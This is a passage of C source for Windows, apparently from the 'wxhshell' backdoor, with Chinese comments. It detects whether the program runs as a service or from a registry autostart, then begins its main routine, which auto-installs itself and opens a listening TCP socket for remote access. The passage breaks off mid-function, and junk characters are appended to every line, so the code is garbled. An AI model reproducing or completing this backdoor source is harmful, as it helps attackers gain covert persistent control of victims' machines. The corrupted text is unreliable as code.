ULONG UniqueProcessId; nn'Af,ko/
ULONG InheritedFromUniqueProcessId; ~{$L9;x
} PROCESS_BASIC_INFORMATION; .+HcA x{/2
a>w~FUm*
PROCNTQSIP NtQueryInformationProcess; I )5<DZB9
#hy+ L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AC'lS
>7s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >P<'L4;
W6i3Psjsw
HANDLE hProcess; qW3x{L$c
PROCESS_BASIC_INFORMATION pbi; }1Z6e[K?
tJAnuhX
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L ?Cjo4xS
if(NULL == hInst ) return 0; l/QhD?)9
&y\igX1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Igu:=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #n#HzbT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >x*)GPDa
FllX za)
if (!NtQueryInformationProcess) return 0; 3
1k
>4M<W4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >MPa38
if(!hProcess) return 0; *{4
ETr7
8+ hhdy*b
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ` .$&T7
14-]esSa
CloseHandle(hProcess); dWUUxKC
h9jc,Xu5X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sk$KqHX(
if(hProcess==NULL) return 0; Fv A8T2-v
_N@(Y :
HMODULE hMod; F<gMUDB
char procName[255]; /=@e &e
unsigned long cbNeeded; =W<[Fe3
tH,sql)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B$j' /e-Zk
S eOy7
CloseHandle(hProcess); ^N{k6>;
]VDn'@uM
if(strstr(procName,"services")) return 1; // 以服务启动 #2N_/J(U
X|' 2R^V.
return 0; // 注册表启动 MnS+ nH!d
} DN<M?u]
?<6@^X"
// 主模块 c$A@T~$
int StartWxhshell(LPSTR lpCmdLine) -"tY{}z
{ kT2Wm/L
SOCKET wsl; {Xv3:"E"O
BOOL val=TRUE; ]=Pu\eE
int port=0; ]'g:B p
struct sockaddr_in door; @k9Pz<ub
7f
r>ZY^
if(wscfg.ws_autoins) Install(); 0MrN:M2B
^vM_kArA
port=atoi(lpCmdLine); 1]Lh'.1^
P7UJ-2%Y+
if(port<=0) port=wscfg.ws_port; R>HY:-2
y;QQ| =,
WSADATA data; B:nK)"{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M $uf:+F
A%n?}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I)lC{v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NNp}|a9
door.sin_family = AF_INET; _#vGs:-x&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^)<